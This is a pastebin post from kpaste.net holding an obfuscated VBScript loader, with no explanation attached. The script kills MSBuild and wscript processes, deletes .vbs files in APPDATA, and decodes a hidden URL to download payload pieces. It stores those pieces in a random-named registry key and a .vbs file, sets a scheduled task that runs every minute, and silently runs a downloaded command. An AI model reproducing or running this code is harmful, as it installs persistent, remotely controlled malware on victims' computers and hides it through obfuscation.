pastebin - collaborative debugging tool
kpaste.net RSS


Untitled
Posted by Anonymous on Thu 20th Feb 2025 00:37
raw | new post

  1. Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
  2. Set colProcessList = objWMIService.ExecQuery("SELECT * FROM Win32_Process WHERE Name = 'MSBuild.exe'")
  3.  
  4. For Each objProcess In colProcessList
  5.     objProcess.Terminate
  6. Next
  7.  
  8. Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
  9. Set colProcessList = objWMIService.ExecQuery("SELECT * FROM Win32_Process WHERE Name = 'wscript.exe'")
  10.  
  11. For Each objProcess In colProcessList
  12.     objProcess.Terminate
  13. Next
  14.  
  15.  
  16. Set objFSO = CreateObject("Scripting.FileSystemObject")
  17. strFolder = Environ("APPDATA") & "\"
  18.  
  19. Set objFolder = objFSO.GetFolder(strFolder)
  20. For Each objFile In objFolder.Files
  21.     If LCase(objFSO.GetExtensionName(objFile.Name)) = "vbs" Then
  22.         objFile.Delete
  23.     End If
  24. Next
  25.  
  26.  
  27. Function BTRK(HexData)
  28.     Dim QRSP, WNKY, FJTX, OPLR
  29.     QRSP = ""
  30.     For WNKY = 1 To Len(HexData) Step 2
  31.         FJTX = Mid(HexData, WNKY, 2)
  32.         OPLR = Chr(CLng("&H" & FJTX))
  33.         QRSP = QRSP & OPLR
  34.     Next
  35.     BTRK = QRSP
  36. End Function
  37.  
  38. Function KLNV()
  39.     On Error Resume Next
  40.     Dim CXWT, LHVP, BKZM
  41.     Set CXWT = CreateObject("WScript.Shell")
  42.     LHVP = CXWT.RegRead(BTRK(PGZY("w1")))
  43.     BKZM = CXWT.RegRead(BTRK(PGZY("w2")))
  44.     KLNV = (LHVP = 2 And BKZM = 0)
  45.     Set CXWT = Nothing
  46. End Function
  47.  
  48. Sub MTXZ(FVLP, YNKR)
  49.     Dim XPJM
  50.     Set XPJM = CreateObject("WScript.Shell")
  51.     XPJM.RegWrite "HKCU\Software\f4sd85f45sdf47sdf45sdf\" & FVLP, YNKR, "REG_SZ"
  52.     Set XPJM = Nothing
  53. End Sub
  54.  
  55. Function PGZY(RJYL)
  56.     On Error Resume Next
  57.     Dim BQLF, TKSM
  58.     TKSM = BTRK(BTRK(BTRK("3336333833373334333733343337333033333631333236363332363633333334333333353332363533333331333333333333333833323635333333313333333633323635333333353333333733323636333333313333333533333330333333313333333233333330333333323333333533323636"))) & RJYL
  59.     Set BQLF = CreateObject("WinHttp.WinHttpRequest.5.1")
  60.     BQLF.Open "GET", TKSM, False
  61.     BQLF.Send
  62.     If BQLF.Status = 200 Then
  63.         PGZY = BQLF.ResponseText
  64.     Else
  65.         PGZY = ""
  66.     End If
  67.     Set BQLF = Nothing
  68. End Function
  69.  
  70.  
  71. Sub HQBL(ZXPM)
  72.     Dim KDVG, VBRJ
  73.     Set KDVG = CreateObject("Scripting.FileSystemObject")
  74.     VBRJ = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%APPDATA%") & "\f4sd85f45sdf47sdf45sdf.vbs"
  75.     With KDVG.CreateTextFile(VBRJ, True)
  76.         .Write ZXPM
  77.         .Close
  78.     End With
  79.     Set KDVG = Nothing
  80. End Sub
  81.  
  82. Sub YTFD()
  83.     On Error Resume Next
  84.     Dim KDRL, LFXQ, JNVZ
  85.     Set KDRL = CreateObject("Schedule.Service")
  86.     KDRL.Connect
  87.     Set LFXQ = KDRL.NewTask(0)
  88.     With LFXQ.Triggers.Create(1)
  89.         .StartBoundary = "2024-08-16T00:00:00"
  90.         .Repetition.Interval = "PT1M"
  91.     End With
  92.     With LFXQ.Settings
  93.         .DisallowStartIfOnBatteries = False
  94.         .StopIfGoingOnBatteries = False
  95.         .AllowHardTerminate = False
  96.     End With
  97.     LFXQ.Actions.Create(0).Path = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%APPDATA%") & "\f4sd85f45sdf47sdf45sdf.vbs"
  98.     Set JNVZ = KDRL.GetFolder("\")
  99.     JNVZ.RegisterTaskDefinition "f4sd85f45sdf47sdf45sdf", LFXQ, 6, , , 3
  100.     Set KDRL = Nothing
  101. End Sub
  102.  
  103. Sub XWCB(JNLM)
  104.     Dim DFVR, RJYQ, PKXT, QKTR, HGFC
  105.     DFVR = Len(JNLM)
  106.     HGFC = 1
  107.     For RJYQ = 1 To DFVR Step 20000
  108.         PKXT = Mid(JNLM, RJYQ, 20000)
  109.         QKTR = "\donn\data" & HGFC
  110.         MTXZ QKTR, PKXT
  111.         HGFC = HGFC + 1
  112.     Next
  113. End Sub
  114.  
  115. Sub ZMCL()
  116.     MTXZ "Path", "f4sd85f45sdf47sdf45sdf"
  117.     MTXZ "in", "0"
  118.     MTXZ "i", BTRK("4D534275696C642E657865")
  119.     MTXZ "s", BTRK(PGZY("s"))
  120.     MTXZ "v", Replace(BTRK(PGZY("v")), "|path|", "f4sd85f45sdf47sdf45sdf")
  121.     MTXZ "r", PGZY("r")
  122.     MTXZ "cn", BTRK(PGZY("cn"))
  123.     HQBL Replace(BTRK(PGZY("file")), "|path|", "f4sd85f45sdf47sdf45sdf")
  124.     XWCB PGZY("devil.txt")
  125.     YTFD()
  126.     If KLNV() Then
  127.       Dim WshShell
  128.       Set WshShell = CreateObject("WScript.Shell")
  129.    
  130.       Dim InstantPath
  131.       InstantPath = Replace(BTRK(PGZY("instant")), "|path|", "f4sd85f45sdf47sdf45sdf")
  132.    
  133.       MTXZ "instant", InstantPath
  134.       WshShell.Run InstantPath, 0
  135.       MTXZ "in", "1"
  136.    
  137.     Set WshShell = Nothing
  138. End If
  139.  
  140.        
  141. End Sub
  142.  
  143. ZMCL()

Submit a correction or amendment below (click here to make a fresh posting)
After submitting an amendment, you'll be able to view the differences between the old and new posts easily.

Syntax highlighting:

To highlight particular lines, prefix each line with {%HIGHLIGHT}




All content is user-submitted.
The administrators of this site (kpaste.net) are not responsible for their content.
Abuse reports should be emailed to us at